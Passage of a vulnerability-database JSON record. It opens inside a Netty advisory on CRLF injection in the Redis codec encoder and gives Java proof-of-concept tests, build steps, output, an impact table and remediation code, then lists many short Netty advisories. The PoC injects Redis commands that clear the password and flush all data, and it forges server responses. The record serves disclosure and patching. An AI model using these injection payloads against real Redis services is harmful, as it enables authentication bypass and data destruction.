SimpleString Response Injection\n     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n     * can inject fake responses to the downstream client.\n     */\n    static void testSimpleStringInjection() {\n        System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n        System.out.println(\"----------------------------------------------\");\n\n        // Malicious content: inject a fake bulk string response after OK\n        String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   SimpleStringRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // The RESP protocol uses the first byte to determine type:\n        // '+' = Simple String, '$' = Bulk String\n        // A client parsing this would see:\n        // 1. \"+OK\\r\\n\"       -\u003e Simple String \"OK\"\n        // 2. \"$6\\r\\nhacked\"  -\u003e Bulk String \"hacked\" (injected!)\n        boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 3: Error Message Injection\n     * Similar to SimpleString but with error messages.\n     */\n    static void testErrorMessageInjection() {\n        System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n        System.out.println(\"--------------------------------------\");\n\n        String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   ErrorRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput:   InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n  Command 1: PING\n  Command 2: CONFIG SET requirepass \"\"\n  Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput:   SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput:   ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new IllegalArgumentException(\n                \"Redis message content contains illegal CRLF character at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List\u003cObject\u003e out) {\n    for (int i = 0; i \u003c content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new RedisCodecException(\n                \"Redis message content contains CRLF at index \" + i);\n        }\n    }\n    // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)","status":"published","published":"2026-05-07T00:24:08Z","modified":"2026-09-10T03:50:47.555800065Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:46:55.877614Z"},{"id":"GHSA-xpw8-rcwv-8f8p","title":"io.netty:netty-codec-http2 vulnerable to HTTP/2 Rapid Reset Attack","description":"A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. \n\n### Impact\nThis is a DDOS attack, any http2 server is affected and so you should update as soon as possible.\n\n### Patches\nThis is patched in version 4.1.100.Final.\n\n### Workarounds\nA user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used).\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-44487\n- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/\n- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/","status":"published","published":"2023-10-10T22:22:54Z","modified":"2026-09-10T03:49:58.76078733Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:47:00.198893Z"},{"id":"RHLW-2026-6f1a404174e2316f","title":"Lightwell Security Advisory: netty-codec-redis 4.1.100.Final-rhlw-00001","description":"Red Hat Lightwell has released io.netty:netty-codec-redis 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2026-42586, CVE-2026-44250, CVE-2026-44890, CVE-2026-48006, CVE-2026-50011, and CVE-2026-56818.\n\nCVE-2026-42586: Netty: CRLF Injection in Netty Redis Codec Encoder\n\nCVE-2026-44250: Netty: Memory Exhaustion in RedisArrayAggregator due to Deeply Nested Arrays\n\nCVE-2026-44890: Netty has Unbounded Direct Memory Consumption in its RedisDecoder\n\nCVE-2026-48006: Netty's Lack of Lifecycle Cleanup Leads to Pooled ByteBuf Leak in RedisArrayAggregator\n\nCVE-2026-50011: Netty has unbounded pre-allocation in RedisArrayAggregator from RESP array length\n\nCVE-2026-56818: Netty: RedisArrayAggregator max-elements failure leaves retained partial aggregate state\n\nThis patched artifact is a drop-in replacement for io.netty:netty-codec-redis 4.1.100.Final from Maven Central.","status":"published","published":"2026-10-12T16:57:49Z","modified":"2026-10-27T04:13:03.22676867Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","title":"GHSA-xpw8-rcwv-8f8p in io.root.io.netty:netty-codec-http2 - Patched by Root","description":"Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-06-18T12:52:23Z","modified":"2026-06-18T18:15:26.175069727Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.066589Z"},{"id":"UBUNTU-CVE-2026-42586","description":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","status":"published","published":"2026-05-13T19:17:00Z","modified":"2026-10-17T12:58:16.22947941Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:18.393417Z"},{"id":"CLSA-2026-1784596264","title":"TuxCare security update for io.netty (8 CVEs)","description":"TuxCare rebuilt 5 io.netty packages to address 8 CVEs. Fixed in 4.1.117.Final-tuxcare.2.","status":"published","published":"2026-08-04T14:52:45Z","modified":"2026-11-02T19:45:44.945205752Z","updated_at":"2026-11-02T20:30:13.950198Z"},{"id":"CLSA-2026-1786699450","title":"TuxCare security update for io.netty (10 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 10 CVEs. Fixed in 4.1.130.Final-tuxcare.2.","status":"published","published":"2026-08-14T09:24:10Z","modified":"2026-11-02T19:45:54.240660218Z","updated_at":"2026-11-02T20:30:00.884471Z"},{"id":"CLSA-2026-1787271464","title":"TuxCare security update for io.netty (59 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.","status":"published","published":"2026-08-21T00:17:44Z","modified":"2026-10-15T09:46:34.75643555Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787301097","title":"TuxCare security update for io.netty (60 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.","status":"published","published":"2026-08-21T08:31:37Z","modified":"2026-10-15T09:46:34.967537233Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787306632","title":"TuxCare security update for io.netty (41 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 41 CVEs. Fixed in 4.1.112.Final-tuxcare.6.","status":"published","published":"2026-08-21T10:03:52Z","modified":"2026-10-15T09:46:35.351743786Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787309634","title":"TuxCare security update for io.netty (62 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.","status":"published","published":"2026-08-21T10:53:54Z","modified":"2026-10-15T09:46:34.370885626Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787333890","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.","status":"published","published":"2026-08-21T17:38:10Z","modified":"2026-10-15T09:47:25.399673043Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787383378","title":"TuxCare security update for io.netty (61 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.","status":"published","published":"2026-08-22T07:22:58Z","modified":"2026-10-15T09:47:25.582500226Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787397404","title":"TuxCare security update for io.netty (62 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.","status":"published","published":"2026-08-22T11:16:44Z","modified":"2026-10-15T09:47:25.516691622Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1787671732","title":"TuxCare security update for io.netty (14 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 14 CVEs. Fixed in 4.1.115.Final-tuxcare.8.","status":"published","published":"2026-08-25T15:28:52Z","modified":"2026-10-15T09:47:33.367099755Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1788193874","title":"TuxCare security update for io.netty:netty-codec-redis (1 CVE)","description":"TuxCare rebuilt io.netty:netty-codec-redis to address 1 CVE. Fixed in 4.1.49.Final-tuxcare.4.","status":"published","published":"2026-08-31T16:31:14Z","modified":"2026-11-02T19:46:01.52501737Z","updated_at":"2026-11-02T20:29:46.576514Z"},{"id":"CLSA-2026-1788193903","title":"TuxCare security update for io.netty (2 CVEs)","description":"TuxCare rebuilt 2 io.netty packages to address 2 CVEs. Fixed in 4.1.48.Final-tuxcare.3.","status":"published","published":"2026-08-31T16:31:43Z","modified":"2026-11-02T19:46:01.785026423Z","updated_at":"2026-11-02T20:29:46.576514Z"},{"id":"CLSA-2026-1788216921","title":"TuxCare security update for io.netty (28 CVEs)","description":"TuxCare rebuilt 12 io.netty packages to address 28 CVEs. Fixed in 4.1.79.Final-tuxcare.2.","status":"published","published":"2026-08-31T22:55:21Z","modified":"2026-11-02T19:46:01.997989253Z","updated_at":"2026-11-02T20:29:46.576514Z"},{"id":"CLSA-2026-1788418779","title":"TuxCare security update for io.netty:netty-codec-redis (1 CVE)","description":"TuxCare rebuilt io.netty:netty-codec-redis to address 1 CVE. Fixed in 4.1.63.Final-tuxcare.6.","status":"published","published":"2026-09-03T06:59:39Z","modified":"2026-11-02T19:46:06.392015479Z","updated_at":"2026-11-02T20:29:40.716173Z"},{"id":"CLSA-2026-1789379599","title":"TuxCare security update for io.netty (19 CVEs)","description":"TuxCare rebuilt 12 io.netty packages to address 19 CVEs. Fixed in 4.1.75.Final-tuxcare.5.","status":"published","published":"2026-09-14T09:53:19Z","modified":"2026-11-02T19:46:12.493139648Z","updated_at":"2026-11-02T20:29:35.589477Z"},{"id":"CLSA-2026-1789654344","title":"TuxCare security update for io.netty (11 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 11 CVEs. Fixed in 4.1.52.Final-tuxcare.3.","status":"published","published":"2026-09-17T14:12:24Z","modified":"2026-11-02T19:46:17.772098082Z","updated_at":"2026-11-02T20:29:33.792105Z"},{"id":"CLSA-2026-1790697560","title":"TuxCare security update for io.netty (20 CVEs)","description":"TuxCare rebuilt 11 io.netty packages to address 20 CVEs. Fixed in 4.1.73.Final-tuxcare.5.","status":"published","published":"2026-09-29T15:59:20Z","modified":"2026-11-02T19:46:24.33720097Z","updated_at":"2026-11-02T20:29:22.637147Z"},{"id":"CLSA-2026-1790769238","title":"TuxCare security update for io.netty (19 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 19 CVEs. Fixed in 4.1.99.Final-tuxcare.1.","status":"published","published":"2026-09-30T11:53:58Z","modified":"2026-10-15T09:47:44.915391747Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792664900","title":"TuxCare security update for io.netty (15 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 15 CVEs. Fixed in 4.1.101.Final-tuxcare.1.","status":"published","published":"2026-10-22T10:28:20Z","modified":"2026-11-02T19:46:30.57588573Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1792665099","title":"TuxCare security update for io.netty (19 CVEs)","description":"TuxCare rebuilt 47 io.netty packages to address 19 CVEs. Fixed in 4.1.96.Final-tuxcare.1.","status":"published","published":"2026-10-22T10:31:39Z","modified":"2026-10-22T14:15:05.613724957Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792665279","title":"TuxCare security update for io.netty (13 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 13 CVEs. Fixed in 4.1.100.Final-tuxcare.1.","status":"published","published":"2026-10-22T10:34:39Z","modified":"2026-11-02T19:46:30.870288535Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1792666293","title":"TuxCare security update for io.netty (17 CVEs)","description":"TuxCare rebuilt 8 io.netty packages to address 17 CVEs. Fixed in 4.1.128.Final-tuxcare.1.","status":"published","published":"2026-10-22T10:51:33Z","modified":"2026-11-02T19:46:30.622223878Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1792673710","title":"TuxCare security update for io.netty (27 CVEs)","description":"TuxCare rebuilt 15 io.netty packages to address 27 CVEs. Fixed in 4.1.72.Final-tuxcare.1.","status":"published","published":"2026-10-22T12:55:10Z","modified":"2026-11-02T19:46:30.828381863Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1792673723","title":"TuxCare security update for io.netty (25 CVEs)","description":"TuxCare rebuilt 43 io.netty packages to address 25 CVEs. Fixed in 4.1.68.Final-tuxcare.1.","status":"published","published":"2026-10-22T12:55:23Z","modified":"2026-10-22T19:45:03.771048357Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792686278","title":"TuxCare security update for io.netty (26 CVEs)","description":"TuxCare rebuilt 14 io.netty packages to address 26 CVEs. Fixed in 4.1.118.Final-tuxcare.1.","status":"published","published":"2026-10-22T16:24:38Z","modified":"2026-11-02T19:46:30.467301233Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1792746051","title":"TuxCare security update for io.netty (26 CVEs)","description":"TuxCare rebuilt 40 io.netty packages to address 26 CVEs. Fixed in 4.1.53.Final-tuxcare.1.","status":"published","published":"2026-10-23T09:00:51Z","modified":"2026-10-23T13:45:04.012626388Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792747978","title":"TuxCare security update for io.netty (21 CVEs)","description":"TuxCare rebuilt 11 io.netty packages to address 21 CVEs. Fixed in 4.1.51.Final-tuxcare.1.","status":"published","published":"2026-10-23T09:32:58Z","modified":"2026-11-02T19:46:31.672461772Z","updated_at":"2026-11-02T20:28:59.01272Z"},{"id":"CLSA-2026-1793707066","title":"TuxCare security update for io.netty (13 CVEs)","description":"TuxCare rebuilt 9 io.netty packages to address 13 CVEs. Fixed in 4.1.113.Final-tuxcare.2.","status":"published","published":"2026-11-03T12:57:47Z","modified":"2026-11-03T19:30:06.372744869Z","updated_at":"2026-11-03T20:03:57.215693Z"},{"id":"CLSA-2026-1793707863","title":"TuxCare security update for io.netty (11 CVEs)","description":"TuxCare rebuilt 6 io.netty packages to address 11 CVEs. Fixed in 4.1.24.Final-tuxcare.2.","status":"published","published":"2026-11-03T13:11:04Z","modified":"2026-11-03T19:30:03.803872635Z","updated_at":"2026-11-03T20:03:57.215693Z"},{"id":"CLSA-2026-1793710149","title":"TuxCare security update for io.netty (12 CVEs)","description":"TuxCare rebuilt 36 io.netty packages to address 12 CVEs. Fixed in 4.1.29.Final-tuxcare.3.","status":"published","published":"2026-11-03T13:49:09Z","modified":"2026-11-03T19:30:05.3579824Z","updated_at":"2026-11-03T20:03:57.215693Z"},{"id":"CLSA-2026-1793711679","title":"TuxCare security update for io.netty (12 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 12 CVEs. Fixed in 4.2.2.Final-tuxcare.2.","status":"published","published":"2026-11-03T14:14:40Z","modified":"2026-11-03T19:30:04.859031066Z","updated_at":"2026-11-03T20:03:57.215693Z"},{"id":"CLSA-2026-1793717783","title":"TuxCare security update for io.netty (10 CVEs)","description":"TuxCare rebuilt 4 io.netty packages to address 10 CVEs. Fixed in 4.1.23.Final-tuxcare.2.","status":"published","published":"2026-11-03T15:56:23Z","modified":"2026-11-03T19:30:07.670138482Z","updated_at":"2026-11-03T20:03:57.215693Z"},{"id":"CLSA-2026-1793734084","title":"TuxCare security update for io.netty (22 CVEs)","description":"TuxCare rebuilt 43 io.netty packages to address 22 CVEs. Fixed in 4.1.60.Final-tuxcare.3.","status":"published","published":"2026-11-03T20:28:05Z","modified":"2026-11-04T02:30:04.43375428Z","updated_at":"2026-11-04T02:55:01.518827Z"},{"id":"CLSA-2026-1793773328","title":"TuxCare security update for io.netty (8 CVEs)","description":"TuxCare rebuilt 4 io.netty packages to address 8 CVEs. Fixed in 4.1.21.Final-tuxcare.3.","status":"published","published":"2026-11-04T07:22:08Z","modified":"2026-11-04T14:45:05.274219139Z","updated_at":"2026-11-04T15:03:54.132276Z"},{"id":"CLSA-2026-1793774228","title":"TuxCare security update for io.netty (11 CVEs)","description":"TuxCare rebuilt 5 io.netty packages to address 11 CVEs. Fixed in 4.1.42.Final-tuxcare.4.","status":"published","published":"2026-11-04T07:37:09Z","modified":"2026-11-04T14:45:07.036819013Z","updated_at":"2026-11-04T15:03:54.132276Z"},{"id":"CLSA-2026-1793775085","title":"TuxCare security update for io.netty (16 CVEs)","description":"TuxCare rebuilt 7 io.netty packages to address 16 CVEs. Fixed in 4.1.38.Final-tuxcare.2.","status":"published","published":"2026-11-04T07:51:25Z","modified":"2026-11-04T14:45:05.591600582Z","updated_at":"2026-11-04T15:03:54.132276Z"},{"id":"CLSA-2026-1793776056","title":"TuxCare security update for io.netty (16 CVEs)","description":"TuxCare rebuilt 8 io.netty packages to address 16 CVEs. Fixed in 4.1.39.Final-tuxcare.2.","status":"published","published":"2026-11-04T08:07:37Z","modified":"2026-11-04T14:45:04.945920814Z","updated_at":"2026-11-04T15:03:54.132276Z"},{"id":"CLSA-2026-1793778498","title":"TuxCare security update for io.netty (10 CVEs)","description":"TuxCare rebuilt 4 io.netty packages to address 10 CVEs. Fixed in 4.1.43.Final-tuxcare.5.","status":"published","published":"2026-11-04T08:48:18Z","modified":"2026-11-04T14:45:05.587526555Z","updated_at":"2026-11-04T15:03:54.132276Z"},{"id":"CLSA-2026-1793862404","title":"TuxCare security update for io.netty (32 CVEs)","description":"TuxCare rebuilt 14 io.netty packages to address 32 CVEs. Fixed in 4.1.64.Final-tuxcare.1.","status":"published","published":"2026-11-05T08:06:45Z","modified":"2026-11-05T13:15:04.236278731Z","updated_at":"2026-11-05T13:30:00.949926Z"},{"id":"CLSA-2026-1793864924","title":"TuxCare security update for io.netty (11 CVEs)","description":"TuxCare rebuilt 8 io.netty packages to address 11 CVEs. Fixed in 4.1.114.Final-tuxcare.3.","status":"published","published":"2026-11-05T08:48:45Z","modified":"2026-11-05T13:15:02.299097462Z","updated_at":"2026-11-05T13:30:00.949926Z"},{"id":"CLSA-2026-1793885094","title":"TuxCare security update for io.netty (10 CVEs)","description":"TuxCare rebuilt 8 io.netty packages to address 10 CVEs. Fixed in 4.1.74.Final-tuxcare.2.","status":"published","published":"2026-11-05T14:24:55Z","modified":"2026-11-06T13:15:21.888474874Z","updated_at":"2026-11-06T13:44:09.891978Z"},{"id":"CLSA-2026-1794160114","title":"TuxCare security update for io.netty (31 CVEs)","description":"TuxCare rebuilt 11 io.netty packages to address 31 CVEs. Fixed in 4.1.46.Final-tuxcare.1.","status":"published","published":"2026-11-08T18:48:35Z","modified":"2026-11-09T01:45:02.27393588Z","updated_at":"2026-11-09T02:15:19.582074Z"},{"id":"CLSA-2026-1794169971","title":"TuxCare security update for io.netty (3 CVEs)","description":"TuxCare rebuilt 3 io.netty packages to address 3 CVEs. Fixed in 4.1.87.Final-tuxcare.5.","status":"published","published":"2026-11-08T21:32:52Z","modified":"2026-11-09T01:45:05.246751748Z","updated_at":"2026-11-09T02:15:19.582074Z"}]},"sources_more":{"osv":4}}
